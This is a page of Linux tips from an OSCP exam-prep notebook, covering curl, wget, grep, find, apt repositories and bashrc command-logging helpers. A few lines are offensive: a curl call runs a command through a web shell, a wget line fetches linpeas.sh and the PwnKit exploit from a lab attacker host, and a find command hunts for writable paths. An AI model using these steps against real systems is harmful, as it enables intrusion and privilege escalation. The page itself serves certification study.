> For the complete documentation index, see [llms.txt](https://dhaneshsivasamy07.gitbook.io/oscp-2022/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://dhaneshsivasamy07.gitbook.io/oscp-2022/misc/linux.md).

# Linux

### Download Linux Image

* The mirror link : <https://kali.download/base-images/> is faster than the official download url

### Interactive SSH Prompt

{% code overflow="wrap" %}

```
~C
# brings ssh> which can be used for port forwarding ( Only after obtaining a shell)
```

{% endcode %}

### URL Encode via curl

* URL Encode the values requested via curl

{% code overflow="wrap" %}

```bash
curl -G http://url/rev.php --data-urlencode "cmd=/bin/bash -c 'whoami'"
```

{% endcode %}

### Wget

* Wget multiple files with `bash expansions`

```bash
wget http://10.10.14.29/{linpeas.sh,PwnKit}
```

### Chmod

* Chmod multiple files

```bash
# files need to be chmod +x linpeas.sh and PwnKit
chmod +x [lP]*
```

### Grep&#x20;

* Avoid multiple patterns in a file

```bash
egrep -v '(str1|str2)'
```

* Grep Multiple Contents

```bash
grep -EInRi --color=always '(str1 | str2)'
```

* Keep the grep highlighted color when piping the output

```bash
grep --color=always dnoscp whoami.txt | more
```

### Find

* Exclude specific directories from the find command

```bash
find / -writable ! -path '/proc/*' 2>/dev/null
```

* Find files with multiple extensions

```bash
find . -type f \( -name "*.txt" -o -name "*.xml" \)
```

### fzf

* Install fzf

```bash
sudo apt install fzf
```

* Make fzf to interpret the colors

```bash
grep --color=always dnoscp whoami.txt | fzf --ansi
```

### Files

* Know the files location of the services without installing the application

{% code overflow="wrap" %}

```bash
sudo apt install apt-file
apt-file search tomcat # brings all the files related to tomcat (or) the files that contains the string tomcat in its file name
```

{% endcode %}

![tomcat-users.xml default location](/files/x2SxnpBMptt9c6R5qwZc)

### apt

* Change the default repository for higher speed

```bash
# File: /etc/apt/sources.list
# From: deb http://http.kali.org/kali kali-rolling main contrib non-free
# To: deb http://kali.download/kali kali-rolling main contrib non-free

┌──(dnoscp㉿friday)-[~]
└─$ cat /etc/apt/sources.list
# See https://www.kali.org/docs/general-use/kali-linux-sources-list-repositories/
# deb http://http.kali.org/kali kali-rolling main contrib non-free
deb http://kali.download/kali kali-rolling main contrib non-free

# Additional line for source packages
# deb-src http://http.kali.org/kali kali-rolling main contrib non-free
                                                                         
```

* Know the version of the application installed from apt with `apt-cache policy <packageName>`

{% code overflow="wrap" %}

```bash
➜  dhanesh's-device apt-cache policy sudo
sudo:
  Installed: 1.8.31-1ubuntu1.2
  Candidate: 1.8.31-1ubuntu1.2
  Version table:
 *** 1.8.31-1ubuntu1.2 500
        500 http://in.archive.ubuntu.com/ubuntu focal-updates/main amd64 Packages
        500 http://security.ubuntu.com/ubuntu focal-security/main amd64 Packages
        100 /var/lib/dpkg/status
     1.8.31-1ubuntu1 500
        500 http://in.archive.ubuntu.com/ubuntu focal/main amd64 Packages
        500 http://archive.ubuntu.com/ubuntu focal/main amd64 Packages
```

{% endcode %}

* Add **Kali Linux**releases in ubuntu ( :warning: Might be slow when installing stuff and also unaware the stability)

{% code overflow="wrap" %}

```bash
# sign the kali release
wget -q -O - https://archive.kali.org/archive-key.asc  | apt-key add

# add the repo
echo "deb http://kali.download/kali kali-rolling main contrib non-free" | sudo tee -a /etc/apt/sources.list
sudo apt update
```

{% endcode %}

### Log things you have installed

* Add the following function in the .bashrc file

```bash
install(){
        echo "sudo apt install -y $@" | tee -a ~/commands.txt &&  cat ~/commands.txt | tail -1 | bash
}

# OR

install(){
        # installation part
        TOOL=$@
        INSTALL="sudo apt install -y $TOOL"
        echo $INSTALL | bash
        ISTATUS=$?

        # logging part
        if [ $ISTATUS == "0" ]; then
                echo "sudo apt install -y $TOOL" >> ~/commands/install.txt
        else
                echo "[-] Installation Error: $TOOL" >> ~/commands/failed.txt
        fi
}
```

* Source the file and install new contents with `install <packageName>`  (install xclip)
* All the installed commands will be available in the \~/install.txt

### Log only commands that executed successfully

* Add the following in the .bashrc file

```bash
a(){
        cmd=$@
        echo $cmd | bash 2>/dev/null
        exit=$?

        if [ $exit == "0" ]; then
                echo "$cmd" >> ~/successcommands.txt
        else
                echo "[+] No command found: $cmd"
        fi
}
```

* Execute commands with `a <command>` (a whoami)
* Only the commands with the successful status code will be logged in the \~/successcommands.txt file

### Date

* Date format with full date and time: `date +%F:%T` (Mostly used with `somecommand | tee $(date +%F:%T).log`)